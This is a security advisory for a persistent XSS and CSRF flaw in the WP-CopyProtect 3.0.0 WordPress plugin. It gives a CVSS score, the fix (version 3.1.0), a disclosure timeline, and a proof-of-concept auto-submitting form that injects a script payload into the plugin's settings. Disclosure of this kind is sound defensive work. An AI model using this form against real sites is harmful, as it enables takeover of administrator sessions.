WP-CopyProtect [Protect your blog posts] 3.0.0, Persistent XSS

The WP-CopyProtect [Protect your blog posts] plugin for WordPress is vulnerable to a Persistent XSS attack on the settings screen, due to a lack of sanitation of user input, and lack of CSRF token (nonce).

Homepage

https://wordpress.org/plugins/wp-copyprotect/

CVSS Score

4.9

CSSS Vector

(AV:N/AC:M/Au:S/C:P/I:P/A:N)

Attack Scope

remote

Authorization Required

None

Mitigation

Update to version 3.1.0.

Proof of Concept

If a page with the following FORM in is visited by an administrative user, it will result in a a Persistent XSS attack being triggered. In FireFox, this results in an immediate execution of the XSS payload. In Chrome, the XSS payload will be executed next time the user browses to the settings screen for this plugin.

<form id="form" method="POST" action="http://localhost/wp-admin/admin.php?page=wpcopyprotect">
        <input type="hidden" name="CopyProtect_nrc" value="2"/>
        <input type="hidden" name="CopyProtect_nrc_text" value='"><script>alert(1)</script>'/>
        <input type="hidden" name="CopyProtect_user_settings" value="2"/>
        <input type="hidden" name="CopyProtect_save" value="Save Settings"/>
</form>
<script>
        document.getElementById("form").submit();
</script>

Timeline

  • 2015-05-18: Discovered
  • 2015-05-18: Vendor notified
  • 2015-05-18: Vendor responded
  • 2015-06-17: Vendor notified of pending email to WordPress Plugins team for plugin removal
  • 2015-06-17: Vendor responded with intent to release a fix in the next few days
  • 2015-06-23: Version 3.1.0 released – XSS issue resolved.
  • 2015-06-30: Advisory released